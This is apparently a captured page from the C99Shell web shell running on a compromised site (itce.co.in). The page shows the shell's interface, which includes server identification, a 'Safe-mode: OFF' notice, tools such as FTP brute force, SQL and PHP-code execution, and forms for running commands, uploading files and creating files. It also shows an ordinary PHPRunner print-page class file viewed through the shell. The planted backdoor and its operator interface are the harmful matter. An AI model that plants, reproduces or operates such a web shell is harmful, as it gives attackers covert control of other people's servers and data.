!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/classes/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     printpage_details.php (3.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class PrintPage_Details extends PrintPage
{    
    public 
$multipleDetails false;
    
    
    
/**
     * @constructor
     */
    
function __construct(&$params "")
    {
        
parent::__construct($params);
        
//details
    
}

    
/**
     * Process the page 
     */
    
public function process()
    {
        
//    Before Process event
        
if( $this->eventsObject->exists("BeforeProcessPrint") )
            
$this->eventsObject->BeforeProcessPrint$this );
            
        
$this->commonAssign();
        
$this->setMapParams();

        
$this->splitByRecords 0// show all details in master list print page
        
$this->allPagesMode true;
        
$this->queryCommand $this->getSubsetDataCommand();
        
$this->callBeforeQueryEvent$this->queryCommand );
        
$this->recordset $this->dataSource->getList$this->queryCommand );
        if( !
$this->recordset ) {
            
showError$this->dataSource->lastError() );
        }

        
//    hide details
        
$this->doFirstPageAssignments();
        
        
$this->fillGridPage();
        
$this->fillRenderedData$this->pageBody["grid_row"]["data"] );
        
        
$this->showTotals();

        
$this->hideEmptyFields();
        
        
$this->addCommonJs();
        
        
$this->doCommonAssignments();
        
$this->addCustomCss();
        
$this->displayPrintPage();        
    }

    
/**
     *
     */
    
public function displayPrintPage()
    {
        if( !
$this->fetchedRecordCount )
            return;

        
$this->xt->bulk_assign$this->pageBody );
        
        if( 
$this->pdfJsonMode() )
        {
            
$this->xt->assign"body"true );
            
$this->xt->assign"embedded_grid"true );
            
            
$this->xt->load_templateJSON$this->templatefile );
            echo  
$this->xt->fetch_loadedJSON("body");
            return;
        }
            
        
$this->xt->hideAllBricksExcept( array( "grid" ) );

        
$this->xt->assign("grid_block"true);
        
//    show table name only when several details are printed
        
$this->xt->assign"printheader"$this->multipleDetails );

        
$this->xt->load_template($this->templatefile);

        if( 
$this->isPD() ) 
        {
            echo 
'<div class="panel panel-info details-grid">
                <div class="panel-heading">
                    <h4 class="panel-title">' 
$this->getPageTitle$this->pageTypeGoodFieldName($this->tName)) . '</h4>
                </div>
                <div class="panel-body">'
;
            echo 
$this->fetchForms( array( "grid" ) );    
            echo 
'</div>
            </div>'
;            
        } 
        else
        {
            echo 
"<div class='rnr-print-details'>";
            if( 
$this->multipleDetails )
            {
                echo 
"<div class='rnr-pd-title'>";
                echo 
$this->getPageTitle$this->pageTypeGoodFieldName($this->tName));
                echo 
"</div>";
            }
            echo 
"<div class='rnr-pd-grid'>";
            echo 
$this->xt->fetch_loaded("container_grid");
            echo 
"</div>";
            echo 
"</div>";
        }
    }
    
    
/**
     * returns where clause for active master-detail relationship
     *
     * @return string
     */
    
function getMasterTableSQLClause() 
    {
        
$where "";
        
$dKeys $this->pSet->getDetailKeysByMasterTable$this->masterTable );
        if( !
$dKeys )
            return 
"1=0";
        
        foreach( 
$dKeys as $i => $key 
        {
            if(
$i != 0
                
$where.= " and ";
                
            if(
$this->cipherer && $this->cipherer->isEncryptionByPHPEnabled())
                
$mValue $this->cipherer->MakeDBValue$key$this->masterKeysReq[$i 1] );
            else 
                
$mValue make_db_value$key$this->masterKeysReq[$i 1], """"$this->tName);
                
            if(
strlen($mValue) != 0)
                
$where.= $this->getFieldSQLDecrypt$key ) . "=" $mValue;
            else 
                
$where.= "1=0";
        }
        return 
$where;
    }

    protected function 
EOF()
    {

        
$recordLimit $this->pSet->getRecordsLimit();
        if ( 
$recordLimit && $this->fetchedRecordCount >= $recordLimit )
            return 
true;

        
$this->readNextRecordInternal();
        if( 
$this->_eof )
            return 
true;

        return 
false;
    }

    
    protected function 
prepareColumnOrderSettings() 
    {
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0019 ]--